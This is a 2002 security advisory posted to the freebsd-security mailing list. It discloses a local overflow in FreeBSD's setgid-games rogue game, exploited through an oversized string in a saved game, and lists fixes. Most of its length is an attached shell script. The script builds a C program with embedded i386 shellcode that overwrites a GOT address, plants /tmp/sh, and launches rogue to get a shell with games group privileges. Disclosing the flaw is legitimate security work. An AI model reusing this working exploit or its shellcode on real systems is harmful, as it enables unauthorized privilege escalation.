local exploitable overflow in rogue/FreeBSD
Date: Sat, 28 Sep 2002 20:57:18 +0200
From: stanojr <stanojr@iserver.sk>
To: freebsd-security@freebsd.org
Subject: local exploitable overflow in rogue/FreeBSD
--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
VULNERABLE APPLICATION: rogue in FreeBSD (tested on 4.6-RELEASE)
ABOUT APPLICATION: rogue is a fantasy game which is indirectly setgid games
IMPACT: low/medium
EXPLOITATION:
we can be egid=games, with this we can:
1. edit score files in /var/games
2. /var/games use as a storage directory (typicaly when we are limited by quota)
SOLUTION:
1. disabling rogue game via /etc/dm.conf (mad rogueists KILL YOU)
2. fix in the source code
ABOUT BUG:
At first about dm (from man page):
Dm is a program used to regulate game playing. Dm expects to be invoked
with the name of a game that a user wishes to play. This is done by cre-
ating symbolic links to dm, in the directory /usr/games for all of the
regulated games. The actual binaries for these games should be placed in
a ``hidden'' directory, /usr/games/hide, that may only be accessed by the
dm program. Dm determines if the requested game is available and, if so,
runs it. The file /etc/dm.conf controls the conditions under which games
may be run.
/usr/games/dm is of course setgid games
Other games which don`t needed games euid revoke privileges after start.
Games which needed games euid after start open the score file and revoke privileges.
Rogue don`t revoke privileges after start, it run egid games.
Vulnerability is in restoring saved game. There is a function read_string in restore function in save.c file
which don`t check the size of variable. We can rewrite an address in GOT (as in my attached exploit).
ATTACHMENTS: instant-rogue-exp.sh - instant exploit to get egid=games
AUTHOR: stanojr@iserver.sk
ps: sorry, i know, my english is very bad :]
--5vNYLRcllDrimb99
Content-Type: application/x-sh
Content-Disposition: attachment; filename="instant-rogue-exp.sh"
#!/bin/sh
echo "ROGUE EXPLOIT FOR FreeBSD/i386 (4.6-RELEASE) AUTHOR: stanojr@iserver.sk"
echo "WARNING:"
echo "This exploit create 4 files: /tmp/sh, ./rogue-exp.c, ./rogue-exp, ./rogue.hsave\n"
echo "Creating rogue-exp.c which create a vulnerable save file"
cat >rogue-exp.c <<_EOF_
#include <stdio.h>
#include <string.h>
/*
* shellcode exec /tmp/sh because of horrible terminal which
* mess ncurses and we must fix it
*/
char shellcode[] =
"\x31\xc0\x50\x89\xe2\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d"
"\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80";
long xxx();
int main(ac,av)
int ac;
char *av[];
{
char hunger_str[13475+strlen(shellcode)];
char tmp[4];
unsigned long addr=0x08060b38; // address after strcpy in GOT
FILE *fp;
if (ac!=2)
usage(av[0]);
memset(tmp,'A',sizeof(tmp)); // only temporary variable
memset(hunger_str,'A',sizeof(hunger_str)); // our vulnerable variable
memcpy(hunger_str+13470,&addr,sizeof(addr));
memcpy(hunger_str+13474,shellcode,sizeof(shellcode)); // we put shellcode after addr
hunger_str[sizeof(hunger_str)]=0; //we must close string
if ((fp=fopen(av[1],"w"))==NULL){
perror("fopen");
}
(void) xxx(1);
r_write(fp, tmp, sizeof(char)); //detect_monster (see save.c)
r_write(fp, tmp, sizeof(short)); //cur_level (see save.c)
r_write(fp, tmp, sizeof(short)); //max_level (see save.c)
write_string(hunger_str, fp); //our vulnerable variable
fclose(fp);
return 0;
}
usage(p)
char *p;
{
printf("usage: %s save\nsave - vulnerable save file\n",p);
exit(0);
}
// xxx,xxxx,r_write,write_string stolen from rogue and little changed
r_write(fp, buf, n)
FILE *fp;
const char *buf;
int n;
{
if (fwrite(buf, sizeof(char), n, fp) != n) {
perror("fwrite");
}
}
write_string(s, fp)
char *s;
FILE *fp;
{
short n;
n = strlen(s) + 1;
xxxx(s, n);
r_write(fp, (char *) &n, sizeof(short));
r_write(fp, s, n);
}
xxxx(buf, n)
char *buf;
short n;
{
short i;
unsigned char c;
for (i = 0; i < n; i++) {
/* It does not matter if accuracy is lost during this assignment */
c = (unsigned char) xxx(0);
buf[i] ^= c;
}
}
long
xxx(st)
char st;
{
static long f, s;
long r;
if (st) {
f = 37;
s = 7;
return(0L);
}
r = ((f * s) + 9337) % 8887;
f = s;
s = r;
return(r);
}
_EOF_
echo "Creating /tmp/sh with stty command to fix terminal and then exec /bin/sh command"
cat >/tmp/sh <<_EOF_
#!/bin/sh
stty icanon echo icrnl onlcr oxtabs
echo "!!! BOOOM !!!"
id
exec /bin/sh
_EOF_
echo "cmd: chmod 755 /tmp/sh"
chmod 755 /tmp/sh
echo "cmd: make rogue-exp"
make rogue-exp
echo "Creating vulnerable save file"
echo "cmd: ./rogue-exp rogue.hsave"
./rogue-exp rogue.hsave
echo "Execing rogue with vuln save file"
echo "cmd: rogue rogue.hsave"
rogue rogue.hsave
--5vNYLRcllDrimb99--